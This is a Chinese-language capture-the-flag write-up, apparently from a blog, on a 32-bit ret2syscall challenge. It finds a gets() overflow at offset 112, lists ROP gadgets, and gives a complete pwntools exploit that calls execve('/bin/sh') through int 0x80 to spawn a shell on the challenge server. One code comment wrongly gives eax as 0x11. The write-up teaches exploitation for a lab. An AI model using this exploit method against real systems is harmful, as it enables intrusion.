【PWN】HappyNewYearCTF_9_ret2syscall

HappyNewYearCTF_9_ret2syscall

题目地址:https://ctf.cssec.cc/games/25/challenges

Author: Sonder

Difficulty: Normal

Category: ROP


通过模拟系统调用execve('/bin/sh', 0, 0)的过程,劫持程序执行流

题目分析

首先还是老规矩,看下保护情况,可见无canary,无PIE, 并且是个32位程序,接下来开搞!

分析代码,可见这里用的是gets来进行数据读取,其特征是会读取到\n所在为止。这里是读取到v4变量里,也就是4个字节,必然存在溢出风险。

简单来gdb调试试一下,看下溢出情况,可见溢出点为112

复制代码
➜ gdb 9_ret2syscall

pwndbg> cyclic 400
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
pwndbg> r
......
pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

接下来,我们来想办法构造exp,通过字符串搜索,可以看到存在/bin/sh

复制代码
.rodata:080BE408 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

然后分析got表,发现没对system等危险函数进行引用。通过file可以看出本题为静态链接,故无法ret2libc

shell 复制代码
➜  9_ret2syscall file 9_ret2syscall
9_ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

ret2syscall

syscall介绍

32 位 Linux(x86) 中,用户态程序不能直接执行内核功能 (比如创建进程、读写文件、执行程序)。要请求内核帮忙,必须通过 系统调用(syscall)

之前我们常用的system函数,其本质也是进行syscall的调用。其在汇编代码中可以通过指令int 0x80来实现,但在调用之前,我们需要去进行参数构造。其中eax是我们想要调用的函数。

在这里,我们可以通过:https://syscalls.w3challs.com/ 网站来进行syscall号码的查询。

作用 寄存器
syscall 号 eax
第 1 个参数 ebx
第 2 个参数 ecx
第 3 个参数 edx
第 4 个参数 esi
第 5 个参数 edi
第 6 个参数 ebp

在众多可以调用的函数中, execve函数(11)常常被我们用来做一些坏事,其可以执行命令,我们通过如下语句即可实现执行shell

c 复制代码
execve("/bin/sh",NULL,NULL)

根据其定义,我们只需构造如下内容,即为通过syscall调用命令执行shell。

复制代码
eax = 11
ebx = &"/bin/sh"
ecx = 0
edx = 0
int 0x80

ROP构造

分析完了题目,我们开始构造ROP,先来看一下,我们溢出时寄存器的构造,可以看到eax、ebx、ecx、edx均需要我们去挨个构造。

通过ROPgadget来进行ROP链寻找,可以找到如下gadget:

复制代码
0x080bb196 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x08049421 : int 0x80

EXP编写

py 复制代码
from pwn import *

# =======================
# 基础环境配置
# =======================

# 指定 pwntools 在 tmux 中分屏打开 gdb
context.terminal = ['tmux', 'splitw', '-h']

# 打开 debug 日志,方便观察 send / recv / ROP 执行过程
context.log_level = 'debug'

HOST = 'challenges.ctf.cssec.cc'
PORT = 32799

# 远程环境(比赛 / 实际利用)
r = remote(HOST, PORT)

# 本地调试(需要时切换)
# r = process('9_ret2syscall')

# =======================
# gdb 调试(可选)
# =======================
# 在关键地址下断点,观察 ROP 执行情况
# gdb.attach(r, gdbscript='''
# b *0x08049421
# c
# ''')

# =======================
# ROP 相关地址准备
# =======================

pop_eax         = p32(0x080bb196) #  pop eax ; ret
pop_edx_ecx_ebx = p32(0x0806eb90) #  pop edx ; pop ecx ; pop ebx ; ret
int_0x80        = p32(0x08049421) #  int 0x80
addr_binsh      = p32(0x080be408) #  /bin/sh

exp = b'a' * 112

exp += pop_eax # 
exp += p32(0xb)         # eax = 0x11
exp += pop_edx_ecx_ebx 
exp += p32(0x0)         # edx = 0
exp += p32(0x0)         # ecx = 0
exp += addr_binsh       # ebx = /bin/sh
exp += int_0x80


r.recvuntil(b'plan to do?\n')
r.sendline(exp)

r.interactive()

注意:什么时候用ret2syscall?什么时候用ret2libc?

ret2syscall

  1. 需要有int 0x80的gadget。
  2. 需要可控eax、ebx、ecx、edx
  3. 需要有/bin/sh字符串(若没有,还的libc)。

ret2libc

  1. 相比于syscall,其对可控的寄存器要求更少。

  2. 必须要动态链接。

相关推荐
AlfredZhao12 小时前
vi 删除指定范围的行,不用再反复按 dd
linux·vi
用户97183563346618 小时前
银河麒麟 KY10 申威(SW64) 安装 nginx-1.16.1-2.p01.ky10.sw_64.rpm 详细步骤
linux
猪脚踏浪19 小时前
linux 拷贝文件或目录到指定的位置
linux
Mr_愚人派20 小时前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
摇滚侠1 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
bush41 天前
嵌入式linux学习记录十四、术语
linux·嵌入式
载数而行5201 天前
Linux 11 动态监控指令top
linux
DaLi Yao2 天前
【无标题】
人工智能·安全
Alsn862 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院2 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展